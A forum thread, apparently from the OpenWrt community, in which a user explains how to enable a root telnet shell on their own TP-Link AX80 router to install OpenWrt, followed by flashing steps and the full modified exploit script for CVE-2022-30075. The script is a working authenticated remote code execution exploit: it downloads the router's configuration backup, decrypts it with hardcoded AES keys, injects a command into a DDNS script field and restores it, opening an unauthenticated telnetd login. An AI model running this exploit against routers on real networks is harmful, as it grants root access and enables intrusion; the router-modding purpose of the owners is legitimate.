Tp-link AX80 V1 (EU): enable telnet to install OpenWrt without UART

I would like to share my experience on enabling telnet on the tp-link AX80v1 (EU), which makes OpenWrt installation much easier.
not a native English speaker, if something unclear to you, please ask.
not a coder, credit goes to aaronsvk and mantikafasi on github, it's their effort that makes the exploit possible.

the whole discussion is here:

My environment: Debian 13, python 3.14. I used ethernet cable to connect the router, not wifi.

  1. reset the AX80. After reboot, finish initial setup, 3 things are essential: admin pw, wan port assigning (I used the blue one), turn off auto-update.

  2. use tp-link recovery to downgrade firmware to Ver. 1.1.2:
    hold the reset button while power on the router, keep holding for 10s. go to http://192.168.1.1, upload the extracted bin.

  3. get the exploit script here:
    https://github.com/aaronsvk/CVE-2022-30075/blob/main/tplink.py

  4. use text editor to modify the tplink.py:
    4a. in line 15-18, replace "Crypto" with "Cryptodome"
    4b. in line 230, change the interface name from "internet" to "wan"
    4c. in line 247(blank line), paste the whole block below:

parser = BackupParser("ax80config.bin")
parser.decrypt_config()
print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path))
parser.modify_config("/usr/sbin/telnetd -l /bin/login.sh")
parser.encrypt_config()
print('[+] modified config file "%s"'%(parser.encrypted_path))

save and close. See post #4 below for full contents of the modified tplink.py.

  1. keep the wan port up (I connected it to the lan port of upstream router), then:
    cd /path/to/tplink.py/
    sudo python3 tplink.py -t 192.168.0.1 -p [router admin pw] -c "/usr/sbin/telnetd -l /bin/login.sh"

    you should see "router will reboot in few seconds....bla bla” at the end, router reboots.

  2. after reboot, keep the wan port up again, now telnet is ready, no user name and pw needed:
    telnet 192.168.0.1

PS: if you try it and it works, please report back, then maybe we could ask members with wiki editing rights to update the toh page (not me, I don’t have a wiki a/c nor a github a/c, sorry).

2 Likes

After telnet enabled, I would briefly write down the installation procedure followed, references are here:

  1. on PC, get busybox (after extracted, at ./usr/bin) and openwrt initramfs-kernel.bin; also download sysupgrade.bin for later use:
  1. on PC, cd to dir containing busybox & initramfs, start http server:

    cd /path/to/your/files
    python3 -m http.server 8000

  2. on router, get busybox and initramfs from PC:

    cd /tmp
    wget http://[PC ip, like below]:8000/busybox
    wget http://192.168.0.186:8000/initramfs-kernel.bin

  3. first, check the initramfs bin file size (rc5 is ~9 MiB), the later-created ubi volume must bigger than it (I choosed 10MiB)

du -h initramfs-kernel.bin

then flash the initramfs-kernel.bin:

chmod a+x busybox
ubirmvol /dev/ubi0 -N kernel
ubimkvol /dev/ubi0 -n 1 -N kernel -s 10MiB
./busybox ubiupdatevol /dev/ubi0_1 /tmp/initramfs-kernel.bin
reboot
  1. after reboot, set environment variables:
ssh root@192.168.1.1
fw_setenv bootargs "ubi.mtd=ubi0 console=ttyS0,115200n1 loglevel=8 earlycon=uart8250,mmio32,0x11002000 init=/etc/preinit"
fw_setenv mtdids "spi-nand0=spi-nand0"
fw_setenv mtdparts "spi-nand0:2M(boot),1M(u-boot-env),50M(ubi0),50M(ubi1),8M(userconfig),4M(tp_data),8M(mali_data)"
fw_setenv tp_boot_idx 0
  1. on PC, scp the downloaded sysupgrade.bin to router:
scp -O ./sysupgrade.bin root@192.168.1.1:/tmp
  1. on router, sysupgrade:
sysupgrade -n /tmp/sysupgrade.bin

router reboots, installation finished.

MANY THANKS to all developers involved :heart: , it’s their hard work to release the potential of the hardware :folded_hands: :+1:

1 Like

Post the modified tplink.py ?

here you go:

#!/usr/bin/python3
# Exploit Title: TP-Link Routers - Authenticated Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://github.com/aaronsvk/CVE-2022-30075
# Date: 2022-06-08
# Vendor Homepage: https://www.tp-link.com/
# Tested On: Tp-Link Archer AX50
# Vulnerability Description:
#   Remote Code Execution via importing malicious config file

import argparse # pip install argparse
import requests # pip install requests
import binascii, base64, os, re, json, sys, time, math, random, hashlib
import tarfile, zlib
from Cryptodome.Cipher import AES, PKCS1_v1_5, PKCS1_OAEP # pip install pycryptodome
from Cryptodome.PublicKey import RSA
from Cryptodome.Util.Padding import pad, unpad
from Cryptodome.Random import get_random_bytes
from urllib.parse import urlencode

class WebClient(object):

	def __init__(self, target, password):
		self.target = target
		self.password = password.encode('utf-8')
		self.password_hash = hashlib.md5(('admin%s'%password).encode('utf-8')).hexdigest().encode('utf-8')
		self.aes_key = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')
		self.aes_iv = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8')

		self.stok = ''
		self.session = requests.Session()

		data = self.basic_request('/login?form=auth', {'operation':'read'})
		if data['success'] != True:
			print('[!] unsupported router')
			return
		self.sign_rsa_n = int(data['data']['key'][0], 16)
		self.sign_rsa_e = int(data['data']['key'][1], 16)
		self.seq = data['data']['seq']

		data = self.basic_request('/login?form=keys', {'operation':'read'})
		self.password_rsa_n = int(data['data']['password'][0], 16)
		self.password_rsa_e = int(data['data']['password'][1], 16)

		self.stok = self.login()


	def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
		cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
		plaintext_padded = pad(plaintext, aes_block_size)
		return cipher.encrypt(plaintext_padded)


	def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):
		cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
		plaintext_padded = cipher.decrypt(ciphertext)
		plaintext = unpad(plaintext_padded, aes_block_size)
		return plaintext


	def rsa_encrypt(self, n, e, plaintext):
		public_key = RSA.construct((n, e)).publickey()
		encryptor = PKCS1_v1_5.new(public_key)
		block_size = int(public_key.n.bit_length()/8) - 11
		encrypted_text = ''
		for i in range(0, len(plaintext), block_size):
			encrypted_text += encryptor.encrypt(plaintext[i:i+block_size]).hex()
		return encrypted_text


	def download_request(self, url, post_data):
		res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, stream=True)
		filepath = os.getcwd()+'/'+re.findall(r'(?<=filename=")[^"]+', res.headers['Content-Disposition'])[0]
		if os.path.exists(filepath):
			print('[!] can\'t download, file "%s" already exists' % filepath)
			return
		with open(filepath, 'wb') as f:
			for chunk in res.iter_content(chunk_size=4096):
				f.write(chunk)
		return filepath


	def basic_request(self, url, post_data, files_data={}):
		res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, files=files_data)
		return json.loads(res.content)


	def encrypted_request(self, url, post_data):
		serialized_data = urlencode(post_data)
		encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, serialized_data.encode('utf-8'))
		encrypted_data = base64.b64encode(encrypted_data)

		signature = ('k=%s&i=%s&h=%s&s=%d'.encode('utf-8')) % (self.aes_key, self.aes_iv, self.password_hash, self.seq+len(encrypted_data))
		encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature)

		res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data={'sign':encrypted_signature, 'data':encrypted_data}) # order of params is important
		if(res.status_code != 200):
			print('[!] url "%s" returned unexpected status code'%(url))
			return
		encrypted_data = json.loads(res.content)
		encrypted_data = base64.b64decode(encrypted_data['data'])
		data = self.aes_decrypt(self.aes_key, self.aes_iv, AES.block_size, encrypted_data)
		return json.loads(data)


	def login(self):
		post_data = {'operation':'login', 'password':self.rsa_encrypt(self.password_rsa_n, self.password_rsa_e, self.password)}
		data = self.encrypted_request('/login?form=login', post_data)
		if data['success'] != True:
			print('[!] login failed')
			return
		print('[+] logged in, received token (stok): %s'%(data['data']['stok']))
		return data['data']['stok']



class BackupParser(object):

	def __init__(self, filepath):
		self.encrypted_path = os.path.abspath(filepath)
		self.decrypted_path = os.path.splitext(filepath)[0]

		self.aes_key = bytes.fromhex('2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua
		self.iv = bytes.fromhex('360028C9064242F81074F4C127D299F6') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua


	def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):
		cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
		plaintext_padded = pad(plaintext, aes_block_size)
		return cipher.encrypt(plaintext_padded)


	def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext):
		cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
		plaintext_padded = cipher.decrypt(ciphertext)
		plaintext = unpad(plaintext_padded, aes_block_size)
		return plaintext


	def encrypt_config(self):
		if not os.path.isdir(self.decrypted_path):
			print('[!] invalid directory "%s"'%(self.decrypted_path))
			return

		# encrypt, compress each .xml using zlib and add them to tar archive
		with tarfile.open('%s/data.tar'%(self.decrypted_path), 'w') as tar:
			for filename in os.listdir(self.decrypted_path):
				basename,ext = os.path.splitext(filename)
				if ext == '.xml':
					xml_path = '%s/%s'%(self.decrypted_path,filename)
					bin_path = '%s/%s.bin'%(self.decrypted_path,basename)
					with open(xml_path, 'rb') as f:
						plaintext = f.read()
					if len(plaintext) == 0:
						f = open(bin_path, 'w')
						f.close()
					else:
						compressed = zlib.compress(plaintext)
						encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)
						with open(bin_path, 'wb') as f:
							f.write(encrypted)
					tar.add(bin_path, os.path.basename(bin_path))
					os.unlink(bin_path)
		# compress tar archive using zlib and encrypt
		with open('%s/md5_sum'%(self.decrypted_path), 'rb') as f1, open('%s/data.tar'%(self.decrypted_path), 'rb') as f2:
			compressed = zlib.compress(f1.read()+f2.read())
		encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed)
		# write into final config file
		with open('%s'%(self.encrypted_path), 'wb') as f:
			f.write(encrypted)
		os.unlink('%s/data.tar'%(self.decrypted_path))


	def decrypt_config(self):
		if not os.path.isfile(self.encrypted_path):
			print('[!] invalid file "%s"'%(self.encrypted_path))
			return

		# decrypt and decompress config file
		with open(self.encrypted_path, 'rb') as f:
			decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, f.read())
		decompressed = zlib.decompress(decrypted)
		os.mkdir(self.decrypted_path)
		# store decrypted data into files
		with open('%s/md5_sum'%(self.decrypted_path), 'wb') as f:
			f.write(decompressed[0:16])
		with open('%s/data.tar'%(self.decrypted_path), 'wb') as f:
			f.write(decompressed[16:])
		# untar second part of decrypted data
		with tarfile.open('%s/data.tar'%(self.decrypted_path), 'r') as tar:
			tar.extractall(path=self.decrypted_path)
		# decrypt and decompress each .bin file from tar archive
		for filename in os.listdir(self.decrypted_path):
			basename,ext = os.path.splitext(filename)
			if ext == '.bin':
				bin_path = '%s/%s'%(self.decrypted_path,filename)
				xml_path = '%s/%s.xml'%(self.decrypted_path,basename)
				with open(bin_path, 'rb') as f:
					ciphertext = f.read()
				os.unlink(bin_path)
				if len(ciphertext) == 0:
					f = open(xml_path, 'w')
					f.close()
					continue
				decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, ciphertext)
				decompressed = zlib.decompress(decrypted)
				with open(xml_path, 'wb') as f:
					f.write(decompressed)
		os.unlink('%s/data.tar'%(self.decrypted_path))


	def modify_config(self, command):
		xml_path = '%s/ori-backup-user-config.xml'%(self.decrypted_path)
		if not os.path.isfile(xml_path):
			print('[!] invalid file "%s"'%(xml_path))
			return

		with open(xml_path, 'r') as f:
			xml_content = f.read()

		# https://openwrt.org/docs/guide-user/services/ddns/client#detecting_wan_ip_with_script
		payload = '<service name="exploit">\n'
		payload += '<enabled>on</enabled>\n'
		payload += '<update_url>http://127.0.0.1/</update_url>\n'
		payload += '<domain>x.example.org</domain>\n'
		payload += '<username>X</username>\n'
		payload += '<password>X</password>\n'
		payload += '<ip_source>script</ip_source>\n'
		payload += '<ip_script>%s</ip_script>\n' % (command.replace('<','&lt;').replace('&','&amp;'))
		payload += '<interface>wan</interface>\n' # not worked for other interfaces
		payload += '<retry_interval>5</retry_interval>\n'
		payload += '<retry_unit>seconds</retry_unit>\n'
		payload += '<retry_times>3</retry_times>\n'
		payload += '<check_interval>12</check_interval>\n'
		payload += '<check_unit>hours</check_unit>\n'
		payload += '<force_interval>30</force_interval>\n'
		payload += '<force_unit>days</force_unit>\n'
		payload += '</service>\n'

		if '<service name="exploit">' in xml_content:
			xml_content = re.sub(r'<service name="exploit">[\s\S]+?</service>\n</ddns>', '%s</ddns>'%(payload), xml_content, 1)
		else:
			xml_content = xml_content.replace('</service>\n</ddns>', '</service>\n%s</ddns>'%(payload), 1)
		with open(xml_path, 'w') as f:
			f.write(xml_content)


parser = BackupParser("ax80config.bin")
parser.decrypt_config()
print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path))
parser.modify_config("/usr/sbin/telnetd -l /bin/login.sh")
parser.encrypt_config()
print('[+] modified config file "%s"'%(parser.encrypted_path))

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-t', metavar='target', help='ip address of tp-link router', required=True)
arg_parser.add_argument('-p', metavar='password', required=True)
arg_parser.add_argument('-b', action='store_true', help='only backup and decrypt config')
arg_parser.add_argument('-r', metavar='backup_directory', help='only encrypt and restore directory with decrypted config')
arg_parser.add_argument('-c', metavar='cmd', default='/usr/sbin/telnetd -l /bin/login.sh', help='command to execute')
args = arg_parser.parse_args()

client = WebClient(args.t, args.p)
parser = None

if not args.r:
	print('[*] downloading config file ...')
	filepath = client.download_request('/admin/firmware?form=config_multipart', {'operation':'backup'})
	if not filepath:
		sys.exit(-1)

	print('[*] decrypting config file "%s" ...'%(filepath))
	parser = BackupParser(filepath)
	parser.decrypt_config()
	print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path))

if not args.b and not args.r:
	filepath = '%s_modified'%(parser.decrypted_path)
	os.rename(parser.decrypted_path, filepath)
	parser.decrypted_path = os.path.abspath(filepath)
	parser.encrypted_path = '%s.bin'%(filepath)
	parser.modify_config(args.c)
	print('[+] modified directory with decrypted config "%s" ...'%(parser.decrypted_path))

if not args.b:
	if parser is None:
		parser = BackupParser('%s.bin'%(args.r.rstrip('/')))
	print('[*] encrypting directory with modified config "%s" ...'%(parser.decrypted_path))
	parser.encrypt_config()
	data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'read'})
	timeout = data['data']['totaltime'] if data['success'] else 180
	print('[*] uploading modified config file "%s"'%(parser.encrypted_path))
	data = client.basic_request('/admin/firmware?form=config_multipart', {'operation':'restore'}, {'archive':open(parser.encrypted_path,'rb')})
	if not data['success']:
		print('[!] unexpected response')
		print(data)
		sys.exit(-1)

	print('[+] config file successfully uploaded')
	print('[*] router will reboot in few seconds... when it becomes online again (few minutes), try "telnet %s" and enjoy root shell !!!'%(args.t))

1 Like